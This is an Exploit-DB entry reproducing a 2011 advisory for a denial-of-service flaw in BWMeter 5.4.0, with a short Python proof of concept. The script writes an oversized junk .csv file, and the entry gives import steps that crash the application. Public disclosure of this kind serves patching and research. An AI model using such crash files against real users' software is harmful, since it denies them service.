BWMeter 5.4.0 - .csv Denial of Service Vulnerability

2011-02-17T00:00:00
ID EDB-ID:16180
Type exploitdb
Reporter b0telh0
Modified 2011-02-17T00:00:00

Description

BWMeter 5.4.0 - (.csv) Denial of Service Vulnerability. Dos exploit for windows platform

                                        
                                            GotGeek Labs
http://www.gotgeek.com.br/

BWMeter v5.4.0 (.csv) Denial of Service



[+] Description

BWMeter is a powerful bandwidth meter, monitor, traffic controller and
firewall, which measures, displays and controls all traffic to/from your
computer or on your network.



[+] Information

Title: BWMeter v5.4.0 (.csv) Denial of Service
Advisory: gg-002-2011
Date: 02-14-2011
Last update: 02-16-2011
Link: http://www.gotgeek.com.br/pocs/gg-002-2011.txt
Tested on: Windows XP SP3



[+] Vulnerability

BWMeter is affected by denial of service vulnerability. 
Successful exploitation of the vulnerability allows an attacker to crash the
vulnerable application, denying service to legitimate users.

Affected Versions:
BWMeter v5.4.0

Other versions may also be vulnerable.



[+] Proof of Concept/Exploit

#!/usr/bin/python
#


junk = "\x47\x47" * 2500

try:
    file = open('b0t.csv','w');
    file.write(junk);
    file.close();
    print "\n[*] gotgeek labs"
    print "[*] http://gotgeek.com.br\n"
    print "[+] b0t.csv created."
    print "[+] Open BWMeter.exe..."
    print "[+] Statistics >> Import"
    print "[+] and Select b0t.csv\n"
except:
    print "\n[-] Error.. Can't write file to system.\n"



[+] References

http://www.desksoft.com/BWMeter.htm



[+] Credits

b0telh0